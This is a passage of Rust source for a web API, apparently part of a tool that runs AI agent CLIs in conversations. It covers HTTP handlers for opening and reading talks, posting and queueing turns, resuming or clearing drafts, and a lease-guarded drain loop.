9038    Some(md::to_nodes(text, &md::ImageBase::None))
9039}
9040
9041/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9042/// conversation has filed, so the phone can follow one from inside the
9043/// conversation that asked for it rather than hunting the Queue for a task id
9044/// it may not remember.
9045#[derive(Debug, Serialize)]
9046struct TalkDetailView {
9047    #[serde(flatten)]
9048    view: TalkView,
9049    tasks: Vec<TaskView>,
9050    task_progress: TalkTaskProgress,
9051    /// The agents this talk's repository can switch to; empty when its
9052    /// configuration cannot be read, which must not fail the whole detail.
9053    roster: Vec<RosterEntry>,
9054    /// The personas the conversation can pick from. The built-ins are always
9055    /// listed, even when the repository's configuration cannot be read.
9056    personas: Vec<PersonaEntry>,
9057}
9058
9059/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9060#[derive(Debug, Serialize)]
9061struct TalkTaskProgress {
9062    state: &'static str,
9063    total: usize,
9064    done: usize,
9065    counts: std::collections::BTreeMap<&'static str, usize>,
9066    unfinished_ids: Vec<String>,
9067}
9068
9069fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9070    let mut counts = std::collections::BTreeMap::from([
9071        ("queued", 0),
9072        ("running", 0),
9073        ("done", 0),
9074        ("failed", 0),
9075        ("held", 0),
9076        ("blocked", 0),
9077        ("parked", 0),
9078    ]);
9079    let mut unfinished_ids = Vec::new();
9080    for task in tasks {
9081        *counts.entry(task.status.as_str()).or_default() += 1;
9082        if task.status != TaskStatus::Done {
9083            unfinished_ids.push(task.id.clone());
9084        }
9085    }
9086    TalkTaskProgress {
9087        state: if tasks.is_empty() {
9088            "none"
9089        } else if unfinished_ids.is_empty() {
9090            "complete"
9091        } else {
9092            "incomplete"
9093        },
9094        total: tasks.len(),
9095        done: tasks.len() - unfinished_ids.len(),
9096        counts,
9097        unfinished_ids,
9098    }
9099}
9100
9101/// One persona as the talk's persona selector shows it.
9102#[derive(Debug, Serialize)]
9103struct PersonaEntry {
9104    id: String,
9105    name: String,
9106    /// Avatar URL, see [`TalkView::persona_avatar`].
9107    avatar: String,
9108}
9109
9110/// One roster agent as the talk's agent selector shows it.
9111#[derive(Debug, Serialize)]
9112struct RosterEntry {
9113    id: String,
9114    kind: AgentKind,
9115    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9116    runnable: bool,
9117}
9118
9119/// Bounded summaries; `/page` carries a cursor for older membership.
9120async fn talks_list(
9121    State(ui): State<Arc<Ui>>,
9122    Query(q): Query<ListQuery>,
9123    headers: header::HeaderMap,
9124) -> ApiResult<Json<Vec<TalkListView>>> {
9125    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9126        let limit = q.limit.unwrap_or(50).min(50);
9127        let ids = if let Some(ids) = q.ids {
9128            ids.split(',')
9129                .filter(|id| plain_record_id(id))
9130                .take(limit)
9131                .map(str::to_owned)
9132                .collect()
9133        } else {
9134            page_ids(&ui, true, PageQuery::default())?
9135                .0
9136                .into_iter()
9137                .take(limit.min(STORE_PAGE_SIZE))
9138                .collect()
9139        };
9140        Ok(Json(talk_rows(&ui, ids, &headers)))
9141    })
9142    .await
9143}
9144
9145/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9146/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9147/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9148/// end still opens a talk against an older binary.
9149#[derive(Debug, Default, Deserialize)]
9150#[serde(default)]
9151struct NewTalk {
9152    agent: Option<String>,
9153    repo: Option<PathBuf>,
9154    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9155    /// wrong type is dropped like a stale value instead of failing the request;
9156    /// each falls back to its default on its own (see [`talk::begin_with`]).
9157    preferred_agent: Option<serde_json::Value>,
9158    persona: Option<serde_json::Value>,
9159    implementers: Option<serde_json::Value>,
9160}
9161
9162/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9163/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9164async fn talk_post(
9165    State(ui): State<Arc<Ui>>,
9166    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9167) -> ApiResult<impl IntoResponse> {
9168    // An absent body, or an empty one, is the normal way to open a talk - see
9169    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9170    // rather than refused.
9171    let body = match body {
9172        Ok(Json(body)) => body,
9173        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9174        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9175    };
9176    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9177    let cfg = config_for(&repo).await?;
9178    let view = blocking(move || {
9179        let preferred = talk::Preferred {
9180            agent: body
9181                .preferred_agent
9182                .as_ref()
9183                .and_then(|v| v.as_str())
9184                .map(str::to_owned),
9185            persona: body
9186                .persona
9187                .as_ref()
9188                .and_then(|v| v.as_str())
9189                .map(str::to_owned),
9190            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9191        };
9192        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9193        let thinking = ui.is_thinking(&talk.id);
9194        Ok(TalkView::new(talk, thinking, &ui))
9195    })
9196    .await?;
9197    Ok((StatusCode::CREATED, Json(view)))
9198}
9199
9200/// Transcript first: unrelated queue history and repository probes are deferred.
9201async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9202    // Keep transcript reads independent of sections and the runtime blocking pool.
9203    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9204        let id = resolve_talk(&ui.talks, &id)?;
9205        let talk = ui.talks.get(&id)?;
9206        let thinking = ui.is_thinking_observed(&id);
9207        // The browser already resolves Markdown text/code references after
9208        // rendering. A cold reference/review index must not gate the transcript.
9209        Ok(Json(TalkView::with_references(
9210            talk,
9211            thinking,
9212            None,
9213            &ui.home,
9214            &id_links::IdIndex::default(),
9215        )))
9216    })
9217    .await
9218}
9219
9220async fn talk_sections(
9221    State(ui): State<Arc<Ui>>,
9222    Path(id): Path<String>,
9223) -> ApiResult<Json<serde_json::Value>> {
9224    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9225        let id = resolve_talk(&ui.talks, &id)?;
9226        let talk = ui.talks.get(&id)?;
9227        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9228        let task_progress = talk_task_progress(&tasks);
9229        let tasks: Vec<_> = tasks
9230            .into_iter()
9231            .map(|task| {
9232                serde_json::json!({
9233                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9234                })
9235            })
9236            .collect();
9237        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9238        let roster: Vec<_> = cfg
9239            .as_ref()
9240            .map(|cfg| {
9241                cfg.agents
9242                    .iter()
9243                    .map(|a| RosterEntry {
9244                        id: a.id.clone(),
9245                        kind: a.kind,
9246                        runnable: agent::installed(a),
9247                    })
9248                    .collect()
9249            })
9250            .unwrap_or_default();
9251        let specs = cfg
9252            .as_ref()
9253            .map(|cfg| cfg.talk.personas.clone())
9254            .unwrap_or_default();
9255        let personas: Vec<_> = persona::catalog(&specs)
9256            .into_iter()
9257            .map(|p| PersonaEntry {
9258                avatar: avatar_url(&ui.home, &talk.id, &p),
9259                id: p.id,
9260                name: p.name,
9261            })
9262            .collect();
9263        let active_persona = persona::find(&specs, &talk.persona)
9264            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9265        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9266        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9267        Ok(Json(serde_json::json!({
9268            "tasks": tasks, "task_progress": task_progress,
9269            "roster": roster, "personas": personas,
9270            "context": talk::context_usage(&talk, cfg.as_ref()),
9271            "context_for": talk.updated_at,
9272            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9273            "persona_name": persona_name,
9274            "persona_avatar": persona_avatar,
9275        })))
9276    })
9277    .await
9278}
9279
9280/// `GET /api/talks/{id}`.
9281async fn talk_detail(
9282    State(ui): State<Arc<Ui>>,
9283    Path(id): Path<String>,
9284) -> ApiResult<Json<TalkDetailView>> {
9285    blocking(move || {
9286        let id = resolve_talk(&ui.talks, &id)?;
9287        let talk = ui.talks.get(&id)?;
9288        let thinking = ui.is_thinking_observed(&talk.id);
9289        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9290        let task_progress = talk_task_progress(&tasks);
9291        let tasks = tasks.into_iter().map(TaskView::from).collect();
9292        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9293        let roster = cfg
9294            .as_ref()
9295            .map(|cfg| {
9296                cfg.agents
9297                    .iter()
9298                    .map(|a| RosterEntry {
9299                        id: a.id.clone(),
9300                        kind: a.kind,
9301                        runnable: agent::installed(a),
9302                    })
9303                    .collect()
9304            })
9305            .unwrap_or_default();
9306        let specs = cfg
9307            .as_ref()
9308            .map(|cfg| cfg.talk.personas.clone())
9309            .unwrap_or_default();
9310        let personas = persona::catalog(&specs)
9311            .into_iter()
9312            .map(|p| PersonaEntry {
9313                avatar: avatar_url(&ui.home, &talk.id, &p),
9314                id: p.id,
9315                name: p.name,
9316            })
9317            .collect();
9318        Ok(Json(TalkDetailView {
9319            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9320            tasks,
9321            task_progress,
9322            roster,
9323            personas,
9324        }))
9325    })
9326    .await
9327}
9328
9329/// The body of `POST /api/talks/{id}/say`.
9330///
9331/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9332/// returned - never bytes of its own - so a turn with no images just omits
9333/// the field, which is what an older front end still does.
9334#[derive(Debug, Default, Deserialize)]
9335#[serde(default, deny_unknown_fields)]
9336struct NewTalkTurn {
9337    reply_to: Option<talk::ReplyTarget>,
9338    text: String,
9339    attachments: Vec<String>,
9340}
9341
9342#[derive(Debug, Deserialize)]
9343#[serde(deny_unknown_fields)]
9344struct EditTalkPending {
9345    #[serde(default)]
9346    message: Option<usize>,
9347    text: String,
9348    expected_text: String,
9349    expected_attachments: Vec<String>,
9350}
9351
9352#[derive(Debug, Deserialize)]
9353#[serde(deny_unknown_fields)]
9354struct ClearTalkPending {
9355    expected_text: String,
9356    expected_attachments: Vec<String>,
9357}
9358
9359/// `POST /api/talks/{id}/say` - one turn of the conversation.
9360///
9361/// Not filesystem work, and therefore not routed through [`blocking`]: this
9362/// route spawns an agent CLI and a turn here can run for the whole of
9363/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9364/// research turn is expected to run commands rather than answer from what it
9365/// already knows. Holding an HTTP connection open that long is not a thing
9366/// to ask a phone to do; the operator's message is recorded and answered for
9367/// immediately, and the reply lands in the background, discovered through
9368/// the change stream's `talks_rev` the same way every other update on this
9369/// surface is.
9370async fn talk_say(
9371    State(ui): State<Arc<Ui>>,
9372    Path(id): Path<String>,
9373    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9374) -> ApiResult<(StatusCode, Json<TalkView>)> {
9375    let admission = ui.begin_admission()?;
9376    admitted(admission, async move {
9377    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9378    if body.text.trim().is_empty() && body.attachments.is_empty() {
9379        return Err(ApiError::bad_request("say something"));
9380    }
9381
9382    let id = {
9383        let ui = Arc::clone(&ui);
9384        let asked = id.clone();
9385        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9386    };
9387    // A closed Talk never accepts a new immediate or queued turn. Check this
9388    // before claiming a slot so its ordinary domain refusal is a 409, not an
9389    // incidental failure from the later record/queue write.
9390    {
9391        let ui = Arc::clone(&ui);
9392        let id = id.clone();
9393        blocking(move || {
9394            let talk = ui.talks.get(&id)?;
9395            if !talk.status.open() {
9396                return Err(ApiError::conflict(format!(
9397                    "talk {} is {} and takes no more turns",
9398                    talk.short(),
9399                    talk.status.as_str()
9400                )));
9401            }
9402            Ok(())
9403        })
9404        .await?;
9405    }
9406
9407    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9408    // actually stores, before anything is written - an unknown id is a 4xx
9409    // that names it rather than a turn (or a queued draft) silently missing
9410    // an image.
9411    let attachments = {
9412        let ui = Arc::clone(&ui);
9413        let id = id.clone();
9414        let ids = body.attachments.clone();
9415        blocking(move || {
9416            ids.into_iter()
9417                .map(|att_id| {
9418                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9419                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9420                    })
9421                })
9422                .collect::<ApiResult<Vec<talk::Attachment>>>()
9423        })
9424        .await?
9425    };
9426    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9427        .await.map_err(ApiError::from)?;
9428
9429    // Pending recovery and a new immediate turn are decided under the same
9430    // claim lock. Without that one critical section, a second `/say` can see
9431    // the first request's claim as "busy" and append itself to the recovered
9432    // draft before the first request rejects it.
9433    let start = {
9434        let ui = Arc::clone(&ui);
9435        let id = id.clone();
9436        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9437    };
9438    let turn_guard = match start {
9439        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9440        TalkTurnStart::Pending => {
9441            return Err(ApiError::conflict(
9442                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9443            ));
9444        }
9445        TalkTurnStart::Foreign => {
9446            return Err(ApiError::conflict(
9447                "a turn is already running in another process; try again when it has finished",
9448            ));
9449        }
9450        TalkTurnStart::Busy => {
9451            // A turn is already running: queue rather than refuse. See
9452            // `Ui::begin_talk_turn` and `talk::queue`.
9453            //
9454            // The queue write and the drain it may owe live inside the task
9455            // `tokio::spawn` hands to the runtime, for the same reason the
9456            // immediate path below puts `record` there: a dropped handler
9457            // future must not be able to land between a durable write and
9458            // the task that answers it. `blocking` runs its closure on
9459            // `spawn_blocking`, which finishes whether or not anyone is left
9460            // to receive its result - so a disconnect at the `.await` below
9461            // would otherwise leave the draft persisted and the reclaimed
9462            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9463            // ever started and the queued text stranded until some later
9464            // `say` happened to pick it up. The caller's 202 travels back
9465            // over a `oneshot`, sent the moment the write lands.
9466            let (tx, rx) = tokio::sync::oneshot::channel();
9467            tokio::spawn({
9468                let ui = Arc::clone(&ui);
9469                let id = id.clone();
9470                let said = body.text.clone();
9471                let reply_to = body.reply_to.clone();
9472                async move {
9473                    let written = blocking({
9474                        let ui = Arc::clone(&ui);
9475                        let id = id.clone();
9476                        move || {
9477                            let mut talk = ui.talks.get(&id)?;
9478                            // A test-only stop point, right before the write
9479                            // an interleaving test needs to pin - see
9480                            // `BusyQueueGate`. `None` in every real server:
9481                            // the field only exists under `#[cfg(test)]`.
9482                            #[cfg(test)]
9483                            if let Some(gate) = ui
9484                                .busy_queue_gate
9485                                .lock()
9486                                .unwrap_or_else(PoisonError::into_inner)
9487                                .take()
9488                            {
9489                                let _ = gate.reached.send(());
9490                                let _ = gate.release.recv();
9491                            }
9492                            if let Err(error) = talk::queue_reply(
9493                                &mut talk,
9494                                &ui.talks,
9495                                &said,
9496                                attachments,
9497                                reply_to,
9498                            ) {
9499                                if let Ok(fresh) = ui.talks.get(&id) {
9500                                    if !fresh.status.open() {
9501                                        return Err(ApiError::conflict(format!(
9502                                            "talk {} is {} and takes no more turns",
9503                                            fresh.short(),
9504                                            fresh.status.as_str()
9505                                        )));
9506                                    }
9507                                }
9508                                return Err(
9509                                    if error.to_string().contains("invalid reply target") {
9510                                        ApiError::bad_request("invalid reply target")
9511                                    } else {
9512                                        ApiError::from(error)
9513                                    },
9514                                );
9515                            }
9516                            // The turn that looked busy a moment ago can have
9517                            // finished, found nothing to drain and given up the
9518                            // slot in the gap between that check and this write
9519                            // landing - see `drain_loop`'s own doc for the other
9520                            // half of why that gap would otherwise be able to
9521                            // open at all. Reclaiming the slot here, rather than
9522                            // trusting that whoever held it is still watching, is
9523                            // what stops the text just queued from being stranded
9524                            // until an unrelated future `say` happens to drain
9525                            // it.
9526                            let claim = match ui.begin_queued_talk_turn(&id)? {
9527                                Some(turn_guard) => {
9528                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9529                                    Some((talk.clone(), cfg, turn_guard))
9530                                }
9531                                None => None,
9532                            };
9533                            let thinking = ui.is_thinking(&id);
9534                            Ok((TalkView::new(talk, thinking, &ui), claim))
9535                        }
9536                    })
9537                    .await;
9538                    #[cfg(not(test))]
9539                    {
9540                        match written {
9541                            Ok((view, reclaimed)) => {
9542                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9543                                drop(reclaimed);
9544                                match launched {
9545                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9546                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9547                                }
9548                            }
9549                            Err(error) => { let _ = tx.send(Err(error)); }
9550                        }
9551                    }
9552                    #[cfg(test)]
9553                    {
9554                    let (view, reclaimed) = match written {
9555                        Ok(pair) => pair,
9556                        Err(e) => {
9557                            // Nobody is listening if the handler's own future
9558                            // was already dropped - that is fine, nothing was
9559                            // persisted and there is no response left to carry
9560                            // this error to.
9561                            let _ = tx.send(Err(e));
9562                            return;
9563                        }
9564                    };
9565                    // If this fails, the caller is gone; the drain below still
9566                    // runs exactly as it would have for a caller that stayed.
9567                    let _ = tx.send(Ok(view));
9568                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9569                        let talks = ui.talks.clone();
9570                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9571                    }
9572                    }
9573                }
9574            });
9575            let view = rx
9576                .await
9577                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9578            return Ok((StatusCode::ACCEPTED, Json(view)));
9579        }
9580    };
9581
9582    let (talk, cfg) = {
9583        let ui = Arc::clone(&ui);
9584        let id = id.clone();
9585        blocking(move || {
9586            let talk = ui.talks.get(&id)?;
9587            let (cfg, _) = Config::discover(&talk.repo, None)?;
9588            Ok((talk, cfg))
9589        })
9590        .await?
9591    };
9592
9593    let talks = ui.talks.clone();
9594    // `record` runs *inside* the spawned task, rather than in this handler
9595    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9596    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9597    // doc), and that drop can land at any `.await` this function makes,
9598    // including one that has already produced its result but not yet
9599    // resumed. A message could end up recorded on disk with the handler
9600    // future gone before it ever reached the `tokio::spawn` that would have
9601    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9602    // that hands the whole future to the runtime as one unit - once made, no
9603    // later drop of *this* handler's own future (that call's return value is
9604    // never held onto here) can reach back in and stop it, so record and the
9605    // hand-off to `respond` are unconditionally atomic from the client's
9606    // point of view. The immediate response this handler owes the caller
9607    // travels back over a `oneshot`, sent the moment `record` succeeds.
9608    let (tx, rx) = tokio::sync::oneshot::channel();
9609    tokio::spawn({
9610        #[cfg(test)]
9611        let ui = Arc::clone(&ui);
9612        let talks = talks.clone();
9613        let id = id.clone();
9614        let said = body.text.clone();
9615        let reply_to = body.reply_to.clone();
9616        let mut talk = talk.clone();
9617        async move {
9618            let recorded = blocking({
9619                let talks = talks.clone();
9620                move || {
9621                    if let Err(error) =
9622                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9623                    {
9624                        if let Ok(fresh) = talks.get(&talk.id) {
9625                            if !fresh.status.open() {
9626                                return Err(ApiError::conflict(format!(
9627                                    "talk {} is {} and takes no more turns",
9628                                    fresh.short(),
9629                                    fresh.status.as_str()
9630                                )));
9631                            }
9632                        }
9633                        return Err(if error.to_string().contains("invalid reply target") {
9634                            ApiError::bad_request("invalid reply target")
9635                        } else {
9636                            ApiError::from(error)
9637                        });
9638                    }
9639                    // `record` mutates `talk` in place to the freshly persisted
9640                    // state (status, pending, and the just-appended operator
9641                    // turn), so returning it here is equivalent to re-reading it
9642                    // from disk - without the extra round trip a re-read would
9643                    // need.
9644                    Ok((said.trim().to_owned(), talk))
9645                }
9646            })
9647            .await;
9648            let (text, talk) = match recorded {
9649                Ok(pair) => pair,
9650                Err(e) => {
9651                    // Nobody is listening if the handler's own future was
9652                    // already dropped - that is fine, there is no response
9653                    // left to carry this error to and nothing was persisted.
9654                    let _ = tx.send(Err(e));
9655                    return;
9656                }
9657            };
9658            #[cfg(not(test))]
9659            {
9660                let _ = (&cfg, &text);
9661                // The reservation becomes durable while this process still
9662                // holds the talk lease. The child waits for that lease; the
9663                // new UI sees its startup reservation immediately.
9664                let result = crate::chat_worker::spawn_recorded_turn(
9665                    &talks, &id, talk.turns.len() - 1,
9666                ).await;
9667                drop(turn_guard);
9668                match result {
9669                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9670                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9671                }
9672            }
9673            #[cfg(test)]
9674            {
9675            let queued = talk.clone();
9676            let mut talk = talk;
9677            let thinking = ui.is_thinking(&id);
9678            // If this fails, the caller is gone; the turn still runs below
9679            // exactly as it would have for a caller that stayed connected.
9680            let _ = tx.send(Ok((queued, thinking)));
9681
9682            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9683                // `respond` records the failure in the transcript itself,
9684                // which is what the phone reads; this line is for the
9685                // operator's terminal.
9686                tracing::warn!("talk {id} turn failed: {e:#}");
9687            }
9688            // Anything `talk::queue` added while the turn above was running
9689            // is still owed an answer - see `drain_loop`.
9690            drain_loop(talk, talks, cfg, id, turn_guard).await;
9691            }
9692        }
9693    });
9694
9695    let (queued, thinking) = rx
9696        .await
9697        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9698
9699    // 202: the operator's message is recorded and a turn is running.
9700    Ok((
9701        StatusCode::ACCEPTED,
9702        Json(TalkView::new(queued, thinking, &ui)),
9703    ))
9704    }).await
9705}
9706
9707/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9708/// changing it. The turn guard is the same per-talk ownership `talk_say`
9709/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9710async fn talk_pending_resume(
9711    State(ui): State<Arc<Ui>>,
9712    Path(id): Path<String>,
9713) -> ApiResult<(StatusCode, Json<TalkView>)> {
9714    let admission = ui.begin_admission()?;
9715    admitted(admission, async move {
9716        let id = {
9717            let ui = Arc::clone(&ui);
9718            let asked = id.clone();
9719            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9720        };
9721        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9722            .await
9723            .map_err(ApiError::from)?;
9724        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9725            return Err(ApiError::conflict(
9726                "a talk turn is already running; the queued draft will be handled by it",
9727            ));
9728        };
9729        let (talk, cfg) = {
9730            let ui = Arc::clone(&ui);
9731            let id = id.clone();
9732            blocking(move || {
9733                let talk = ui.talks.get(&id)?;
9734                if !talk.status.open() {
9735                    return Err(ApiError::conflict(format!(
9736                        "talk {} is {} and takes no more turns",
9737                        talk.short(),
9738                        talk.status.as_str()
9739                    )));
9740                }
9741                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9742                    return Err(ApiError::conflict("there is no queued draft to resume"));
9743                }
9744                let (cfg, _) = Config::discover(&talk.repo, None)?;
9745                Ok((talk, cfg))
9746            })
9747            .await?
9748        };
9749        let view = TalkView::new(talk.clone(), true, &ui);
9750        let talks = ui.talks.clone();
9751        #[cfg(not(test))]
9752        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9753        #[cfg(test)]
9754        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9755        Ok((StatusCode::ACCEPTED, Json(view)))
9756    })
9757    .await
9758}
9759
9760/// Hand off an admitted draft while retaining the talk lease until its
9761/// detached startup reservation is durable.
9762#[cfg(not(test))]
9763async fn detach_talk_turn(
9764    _talk: Talk,
9765    talks: Talks,
9766    _cfg: Config,
9767    id: String,
9768    turn: TalkTurnGuard,
9769) -> ApiResult<()> {
9770    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9771    drop(turn);
9772    launched.map(|_| ()).map_err(ApiError::from)
9773}
9774
9775#[cfg(test)]
9776async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9777    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9778}
9779
9780/// A settings response must not report idle while its claim is still held.
9781/// Wait until the first drain either releases the claim or promotes a draft.
9782/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9783async fn settle_settings_turn(
9784    talk: Talk,
9785    talks: Talks,
9786    cfg: Config,
9787    id: String,
9788    turn: TalkTurnGuard,
9789    observed: u64,
9790) -> bool {
9791    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9792        let turns = Arc::clone(&turn.turns);
9793        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9794        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9795            // Release under the arrival lock; a later `/say` takes its own claim.
9796            turn.release(&mut live);
9797            return false;
9798        }
9799    }
9800    let (started, settled) = tokio::sync::oneshot::channel();
9801    tokio::spawn(drain_loop_started(
9802        talk,
9803        talks,
9804        cfg,
9805        id,
9806        turn,
9807        Some(started),
9808    ));
9809    settled.await.unwrap_or(false)
9810}
9811
9812#[cfg(not(test))]
9813async fn drain_loop_started(
9814    talk: Talk,
9815    talks: Talks,
9816    _cfg: Config,
9817    id: String,
9818    turn: TalkTurnGuard,
9819    started: Option<tokio::sync::oneshot::Sender<bool>>,
9820) {
9821    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9822    let running = if pending {
9823        match crate::chat_worker::spawn_turn(&talks, &id).await {
9824            Ok(_) => true,
9825            Err(error) => {
9826                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9827                false
9828            }
9829        }
9830    } else {
9831        false
9832    };
9833    drop(turn);
9834    if let Some(started) = started {
9835        let _ = started.send(running);
9836    }
9837}
9838
9839// Existing in-process conversation tests exercise transcript/arrival ordering;
9840// real process-lifetime behavior is covered by the CLI integration tests.
9841#[cfg(test)]
9842async fn drain_loop_started(
9843    mut talk: Talk,
9844    talks: Talks,
9845    cfg: Config,
9846    id: String,
9847    turn: TalkTurnGuard,
9848    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9849) {
9850    let live_set = Arc::clone(&turn.turns);
9851    // `Option` rather than binding `turn` directly to a `_turn` that lives
9852    // for the whole function: releasing it has to happen by calling
9853    // `TalkTurnGuard::release` from inside the locked branch below, which
9854    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9855    // remove the id - correctly, if this loop is ever left some other way -
9856    // but doing it there misses the lock this loop is already holding, which
9857    // is the exact gap `release` exists to close.
9858    let mut turn = Some(turn);
9859    loop {
9860        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9861            // The lease was taken over while a turn ran. Whatever is queued
9862            // stays a draft; running it here would race the new owner.
9863            tracing::warn!("talk {id} lost its turn lease; not draining further");
9864            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9865            if let Some(turn) = turn.take() {
9866                turn.release(&mut live);
9867            }
9868            break;
9869        }
9870        // `talk::drain` takes the store lock and can write/rename the talk
9871        // file. Keep the turn mutex out of that synchronous work: it protects
9872        // every talk's in-memory claim, not this talk's disk operation.
9873        let observed = live_set
9874            .lock()
9875            .unwrap_or_else(PoisonError::into_inner)
9876            .queued
9877            .get(&id)
9878            .copied()
9879            .unwrap_or(0);
9880        let drained = blocking({
9881            let talks = talks.clone();
9882            move || {
9883                let result = talk::drain(&mut talk, &talks);
9884                Ok((talk, result))
9885            }
9886        })
9887        .await;
9888        let (next_talk, result) = match drained {
9889            Ok(drained) => drained,
9890            Err(e) => {
9891                tracing::warn!(
9892                    status = %e.status,
9893                    message = %e.message,
9894                    "talk {id} could not start queued-text drain"
9895                );
9896                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9897                turn.take()
9898                    .expect("held for the whole loop until released here")
9899                    .release(&mut live);
9900                break;
9901            }
9902        };
9903        talk = next_talk;
9904        let drained = match result {
9905            Ok(Some(drained)) => drained,
9906            Ok(None) => {
9907                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9908                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9909                    continue;
9910                }
9911                turn.take()
9912                    .expect("held for the whole loop until released here")
9913                    .release(&mut live);
9914                break;
9915            }
9916            Err(e) => {
9917                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9918                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9919                turn.take()
9920                    .expect("held for the whole loop until released here")
9921                    .release(&mut live);
9922                break;
9923            }
9924        };
9925        if let Some(started) = started.take() {
9926            let _ = started.send(true);
9927        }
9928        let responded = match turn.as_ref() {
9929            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9930            None => Err(anyhow::anyhow!("the turn guard was released")),
9931        };
9932        if let Err(e) = responded {
9933            tracing::warn!("talk {id} turn failed: {e:#}");
9934        }
9935    }
9936    drop(turn);
9937    if let Some(started) = started {
9938        let _ = started.send(false);
9939    }
9940}
9941
9942/// Clear a queued draft only if it remains exactly the one the caller saw.
9943async fn talk_pending_clear(
9944    State(ui): State<Arc<Ui>>,
9945    Path(id): Path<String>,
9946    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9947) -> ApiResult<Json<TalkView>> {
9948    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9949    blocking(move || {
9950        let id = resolve_talk(&ui.talks, &id)?;
9951        let mut talk = ui.talks.get(&id)?;
9952        if !talk.status.open() {
9953            return Err(ApiError::conflict(format!(
9954                "talk {} is {} and takes no more turns",
9955                talk.short(),
9956                talk.status.as_str()
9957            )));
9958        }
9959        if !talk::clear_pending_if_matches(
9960            &mut talk,
9961            &ui.talks,
